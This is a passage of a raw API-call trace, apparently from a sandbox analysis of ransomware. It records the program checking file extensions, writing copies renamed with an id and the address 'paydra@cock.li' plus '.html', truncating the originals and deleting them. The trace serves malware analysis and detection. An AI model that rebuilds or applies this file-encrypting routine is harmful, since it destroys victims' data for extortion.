Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.481] lstrlenW (lpString=".1cd") returned 4 [0057.482] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.482] lstrlenW (lpString=".jpg") returned 4 [0057.482] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.482] lstrlenW (lpString=".doc") returned 4 [0057.482] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.482] lstrlenW (lpString=".docx") returned 5 [0057.482] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0057.482] lstrlenW (lpString=".pdf") returned 4 [0057.482] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.482] lstrlenW (lpString=".xls") returned 4 [0057.482] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.482] lstrlenW (lpString=".xlsx") returned 5 [0057.482] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0057.482] lstrlenW (lpString=".ppt") returned 4 [0057.482] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.482] lstrlenW (lpString=".zip") returned 4 [0057.482] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.482] lstrlenW (lpString=".rar") returned 4 [0057.482] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.482] lstrlenW (lpString=".bz2") returned 4 [0057.482] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.483] lstrlenW (lpString=".7z") returned 3 [0057.483] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.483] lstrlenW (lpString=".dbf") returned 4 [0057.483] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.483] lstrlenW (lpString=".1cd") returned 4 [0057.483] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.483] lstrlenW (lpString=".jpg") returned 4 [0057.483] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.483] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.483] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.421] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3584) returned 1 [0058.421] CloseHandle (hObject=0x204) returned 1 [0058.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0058.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.421] lstrlenW (lpString=".doc") returned 4 [0058.421] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.421] lstrlenW (lpString=".docx") returned 5 [0058.421] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.421] lstrlenW (lpString=".pdf") returned 4 [0058.421] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.421] lstrlenW (lpString=".xls") returned 4 [0058.421] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.421] lstrlenW (lpString=".xlsx") returned 5 [0058.422] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.422] lstrlenW (lpString=".ppt") returned 4 [0058.422] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.422] lstrlenW (lpString=".zip") returned 4 [0058.422] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.422] lstrlenW (lpString=".rar") returned 4 [0058.422] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.422] lstrlenW (lpString=".bz2") returned 4 [0058.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.422] lstrlenW (lpString=".7z") returned 3 [0058.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.422] lstrlenW (lpString=".dbf") returned 4 [0058.422] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.422] lstrlenW (lpString=".1cd") returned 4 [0058.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.422] lstrlenW (lpString=".jpg") returned 4 [0058.422] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.422] lstrlenW (lpString=".doc") returned 4 [0058.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.422] lstrlenW (lpString=".docx") returned 5 [0058.422] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.422] lstrlenW (lpString=".pdf") returned 4 [0058.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.422] lstrlenW (lpString=".xls") returned 4 [0058.422] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.422] lstrlenW (lpString=".xlsx") returned 5 [0058.423] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.423] lstrlenW (lpString=".ppt") returned 4 [0058.423] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.423] lstrlenW (lpString=".zip") returned 4 [0058.423] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.423] lstrlenW (lpString=".rar") returned 4 [0058.423] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.423] lstrlenW (lpString=".bz2") returned 4 [0058.423] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.423] lstrlenW (lpString=".7z") returned 3 [0058.423] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.423] lstrlenW (lpString=".dbf") returned 4 [0058.423] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.423] lstrlenW (lpString=".1cd") returned 4 [0058.423] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0058.423] lstrlenW (lpString=".jpg") returned 4 [0058.423] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.423] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.423] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0058.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.424] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=52656) returned 1 [0058.424] CloseHandle (hObject=0x204) returned 1 [0058.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0058.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.424] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.424] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0058.425] GetLastError () returned 0x0 [0058.425] ReadFile (in: hFile=0x204, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0058.429] WriteFile (in: hFile=0x230, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0058.430] ReadFile (in: hFile=0x204, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.430] WriteFile (in: hFile=0x230, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.430] SetEndOfFile (hFile=0x230) returned 1 [0058.430] CloseHandle (hObject=0x230) returned 1 [0058.430] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.431] SetEndOfFile (hFile=0x204) returned 1 [0058.431] CloseHandle (hObject=0x204) returned 1 [0058.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.432] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0058.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.432] lstrlenW (lpString=".doc") returned 4 [0058.432] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.432] lstrlenW (lpString=".docx") returned 5 [0058.432] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0058.432] lstrlenW (lpString=".pdf") returned 4 [0058.432] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.432] lstrlenW (lpString=".xls") returned 4 [0058.432] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.432] lstrlenW (lpString=".xlsx") returned 5 [0058.432] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0058.432] lstrlenW (lpString=".ppt") returned 4 [0058.432] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.432] lstrlenW (lpString=".zip") returned 4 [0058.432] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.432] lstrlenW (lpString=".rar") returned 4 [0058.432] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.432] lstrlenW (lpString=".bz2") returned 4 [0058.432] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.433] lstrlenW (lpString=".7z") returned 3 [0058.433] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.433] lstrlenW (lpString=".dbf") returned 4 [0058.433] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.433] lstrlenW (lpString=".1cd") returned 4 [0058.433] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.433] lstrlenW (lpString=".jpg") returned 4 [0058.433] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.433] lstrlenW (lpString=".doc") returned 4 [0058.433] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString=".docx") returned 5 [0058.433] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0058.433] lstrlenW (lpString=".pdf") returned 4 [0058.433] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString=".xls") returned 4 [0058.433] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString=".xlsx") returned 5 [0058.433] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0058.433] lstrlenW (lpString=".ppt") returned 4 [0058.433] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.433] lstrlenW (lpString=".zip") returned 4 [0058.433] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString=".rar") returned 4 [0058.433] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.433] lstrlenW (lpString=".bz2") returned 4 [0058.433] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.433] lstrlenW (lpString=".7z") returned 3 [0058.434] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.434] lstrlenW (lpString=".dbf") returned 4 [0058.434] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.434] lstrlenW (lpString=".1cd") returned 4 [0058.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.434] lstrlenW (lpString=".jpg") returned 4 [0058.434] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.434] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.434] lstrlenW (lpString="ACERECR.DLL") returned 11 [0058.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.434] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=20944) returned 1 [0058.434] CloseHandle (hObject=0x204) returned 1 [0058.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0058.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.435] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.435] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0058.435] GetLastError () returned 0x0 [0058.435] ReadFile (in: hFile=0x204, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0058.437] WriteFile (in: hFile=0x230, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0058.438] ReadFile (in: hFile=0x204, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.438] WriteFile (in: hFile=0x230, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.438] SetEndOfFile (hFile=0x230) returned 1 [0058.438] CloseHandle (hObject=0x230) returned 1 [0058.439] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.439] SetEndOfFile (hFile=0x204) returned 1 [0058.440] CloseHandle (hObject=0x204) returned 1 [0058.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.440] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0058.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.440] lstrlenW (lpString=".doc") returned 4 [0058.440] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.440] lstrlenW (lpString=".docx") returned 5 [0058.440] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.440] lstrlenW (lpString=".pdf") returned 4 [0058.440] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.440] lstrlenW (lpString=".xls") returned 4 [0058.440] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.440] lstrlenW (lpString=".xlsx") returned 5 [0058.440] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.440] lstrlenW (lpString=".ppt") returned 4 [0058.440] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.440] lstrlenW (lpString=".zip") returned 4 [0058.440] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.440] lstrlenW (lpString=".rar") returned 4 [0058.440] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString=".bz2") returned 4 [0058.441] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.441] lstrlenW (lpString=".7z") returned 3 [0058.441] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.441] lstrlenW (lpString=".dbf") returned 4 [0058.441] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.441] lstrlenW (lpString=".1cd") returned 4 [0058.441] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.441] lstrlenW (lpString=".jpg") returned 4 [0058.441] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.441] lstrlenW (lpString=".doc") returned 4 [0058.441] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString=".docx") returned 5 [0058.441] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.441] lstrlenW (lpString=".pdf") returned 4 [0058.441] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString=".xls") returned 4 [0058.441] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString=".xlsx") returned 5 [0058.441] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.441] lstrlenW (lpString=".ppt") returned 4 [0058.441] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.441] lstrlenW (lpString=".zip") returned 4 [0058.441] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString=".rar") returned 4 [0058.441] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.441] lstrlenW (lpString=".bz2") returned 4 [0058.441] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.441] lstrlenW (lpString=".7z") returned 3 [0058.442] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.442] lstrlenW (lpString=".dbf") returned 4 [0058.442] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.442] lstrlenW (lpString=".1cd") returned 4 [0058.442] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.442] lstrlenW (lpString=".jpg") returned 4 [0058.442] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.442] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.442] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0058.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 